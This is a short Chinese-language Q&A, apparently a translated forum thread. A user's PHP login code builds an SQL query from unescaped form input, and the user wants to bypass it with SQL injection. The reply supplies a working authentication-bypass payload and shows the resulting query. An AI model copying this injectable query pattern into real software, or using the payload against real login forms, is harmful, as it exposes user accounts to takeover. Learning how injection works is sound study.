这是我登录.php代码的片段:
if (isset($_POST['login'])){
$username = $_POST['user'];
$password = $_POST['pass'];
$query = mysqli_query($con, "SELECT * FROM users WHERE password='$password' and username='$username'");
$row = mysqli_fetch_array($query);
if ($row > 0) {
$_SESSION['user_id']=$row['user_id'];
header('location:home.php');
} else {
echo 'Invalid Username and Password Combination';
}
}
?>
登录有效,但是当我尝试绕过身份验证/登录时 通过输入 ' 或 ''='它会返回此错误
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:xxxx.php on line 32
当我输入数据库上的有效用户时,登录有效: 样本
Username: admin
Password: admin
我想做的是通过输入(sql注入(绕过登录
Username: admin
Password: **' ANYTHING ''='**
但是输入' ANYTHING ''='
会返回上述错误。
您收到该警告是因为您注入的值导致查询失败,可能是由于 MySQL 语法错误。
请改为尝试以下值:
$password = "' OR 'a'='a";
$username = "admin";
这将给出 SQL 字符串:
SELECT * FROM users WHERE password='' OR 'a'='a' and username='admin'
这应该是有效的,并返回管理员用户记录。